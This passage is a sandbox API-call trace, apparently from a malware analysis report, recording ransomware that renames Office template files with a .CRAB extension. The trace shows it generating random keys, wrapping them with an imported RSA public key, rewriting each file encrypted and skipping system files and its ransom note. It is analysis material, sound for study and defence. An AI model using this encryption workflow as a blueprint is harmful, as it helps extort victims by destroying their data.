	[0118.554] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox", dwFileAttributes=0x20) returned 1
	[0118.555] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328986[[fn=theme picture grid]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328986[[fn=theme picture grid]].glox.crab")) returned 1
	[0118.556] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.556] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox.CRAB"
	[0118.556] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox.CRAB.CRAB"
	[0118.556] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6eb78) returned 1
	[0118.557] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.557] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.557] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.570] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.571] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0118.571] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.572] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.572] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.573] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.573] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.573] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.573] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.573] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.574] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.574] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.578] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0118.579] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdee0e8) returned 1
	[0118.579] CryptGetKeyParam (in: hKey=0xdee0e8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.579] CryptEncrypt (in: hKey=0xdee0e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.579] GetLastError () returned 0x0
	[0118.579] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.579] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e6b0) returned 1
	[0118.580] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdede68) returned 1
	[0118.580] CryptGetKeyParam (in: hKey=0xdede68, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.580] CryptEncrypt (in: hKey=0xdede68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.580] GetLastError () returned 0x0
	[0118.580] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0118.580] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328986[[fn=theme picture grid]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.581] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.581] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0118.582] ReadFile (in: hFile=0x3fc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3147f2c*=0x1831, lpOverlapped=0x0) returned 1
	[0118.618] VirtualAlloc (lpAddress=0x0, dwSize=0x1840, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.619] VirtualAlloc (lpAddress=0x0, dwSize=0x1840, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.619] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.619] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffe7cf, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.619] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1840, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x1840, lpOverlapped=0x0) returned 1
	[0118.620] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.620] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.626] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.626] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.626] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.627] CloseHandle (hObject=0x3fc) returned 1
	[0118.633] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.633] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.633] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.634] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.634] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.634] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.634] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.634] lstrcmpW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2=".") returned 1
	[0118.635] lstrcmpW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2="..") returned 1
	[0118.635] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328990[[fn=Varying Width List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox"
	[0118.635] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.635] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned 144
	[0118.635] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned 144
	[0118.635] lstrlenW (lpString=".glox") returned 5
	[0118.635] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.635] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.635] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.636] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned 144
	[0118.636] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned 144
	[0118.636] lstrcmpiW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2="desktop.ini") returned 1
	[0118.636] lstrcmpiW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2="autorun.inf") returned 1
	[0118.636] lstrcmpiW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2="ntuser.dat") returned 1
	[0118.636] lstrcmpiW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2="iconcache.db") returned 1
	[0118.636] lstrcmpiW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2="bootsect.bak") returned 1
	[0118.636] lstrcmpiW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2="boot.ini") returned 1
	[0118.636] lstrcmpiW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.636] lstrcmpiW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2="thumbs.db") returned 1
	[0118.636] lstrcmpiW (lpString1="TM03328990[[fn=Varying Width List]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.636] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.636] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox.CRAB") returned 149
	[0118.636] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328990[[fn=varying width list]].glox")) returned 0x20
	[0118.637] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox", dwFileAttributes=0x20) returned 1
	[0118.637] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328990[[fn=varying width list]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328990[[fn=varying width list]].glox.crab")) returned 1
	[0118.638] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.639] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox.CRAB"
	[0118.639] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox.CRAB.CRAB"
	[0118.639] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.639] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.640] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.640] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.640] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.640] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.640] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.640] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e5a0) returned 1
	[0118.641] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.641] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.641] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.641] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.641] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0118.642] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.642] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.642] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.642] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ec00) returned 1
	[0118.643] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedae8) returned 1
	[0118.643] CryptGetKeyParam (in: hKey=0xdedae8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.643] CryptEncrypt (in: hKey=0xdedae8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.643] GetLastError () returned 0x0
	[0118.643] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0118.644] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6eb78) returned 1
	[0118.644] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedda8) returned 1
	[0118.645] CryptGetKeyParam (in: hKey=0xdedda8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.645] CryptEncrypt (in: hKey=0xdedda8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.645] GetLastError () returned 0x0
	[0118.645] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0118.645] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328990[[fn=varying width list]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.646] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.646] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0118.646] ReadFile (in: hFile=0x3fc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3147f2c*=0xc03, lpOverlapped=0x0) returned 1
	[0118.668] VirtualAlloc (lpAddress=0x0, dwSize=0xc10, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.669] VirtualAlloc (lpAddress=0x0, dwSize=0xc10, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.669] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.669] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffff3fd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.669] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0xc10, lpOverlapped=0x0) returned 1
	[0118.670] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.670] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.674] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.674] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.674] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.674] CloseHandle (hObject=0x3fc) returned 1
	[0118.676] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.677] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.677] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.677] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.677] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.678] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.678] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.678] lstrcmpW (lpString1="TM03328998[[fn=Rings]].glox", lpString2=".") returned 1
	[0118.678] lstrcmpW (lpString1="TM03328998[[fn=Rings]].glox", lpString2="..") returned 1
	[0118.678] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328998[[fn=Rings]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox"
	[0118.678] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.678] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned 131
	[0118.679] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned 131
	[0118.679] lstrlenW (lpString=".glox") returned 5
	[0118.679] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.679] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.679] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.679] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned 131
	[0118.679] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned 131
	[0118.679] lstrcmpiW (lpString1="TM03328998[[fn=Rings]].glox", lpString2="desktop.ini") returned 1
	[0118.679] lstrcmpiW (lpString1="TM03328998[[fn=Rings]].glox", lpString2="autorun.inf") returned 1
	[0118.679] lstrcmpiW (lpString1="TM03328998[[fn=Rings]].glox", lpString2="ntuser.dat") returned 1
	[0118.679] lstrcmpiW (lpString1="TM03328998[[fn=Rings]].glox", lpString2="iconcache.db") returned 1
	[0118.679] lstrcmpiW (lpString1="TM03328998[[fn=Rings]].glox", lpString2="bootsect.bak") returned 1
	[0118.679] lstrcmpiW (lpString1="TM03328998[[fn=Rings]].glox", lpString2="boot.ini") returned 1
	[0118.680] lstrcmpiW (lpString1="TM03328998[[fn=Rings]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.680] lstrcmpiW (lpString1="TM03328998[[fn=Rings]].glox", lpString2="thumbs.db") returned 1
	[0118.680] lstrcmpiW (lpString1="TM03328998[[fn=Rings]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.680] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.680] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox.CRAB") returned 136
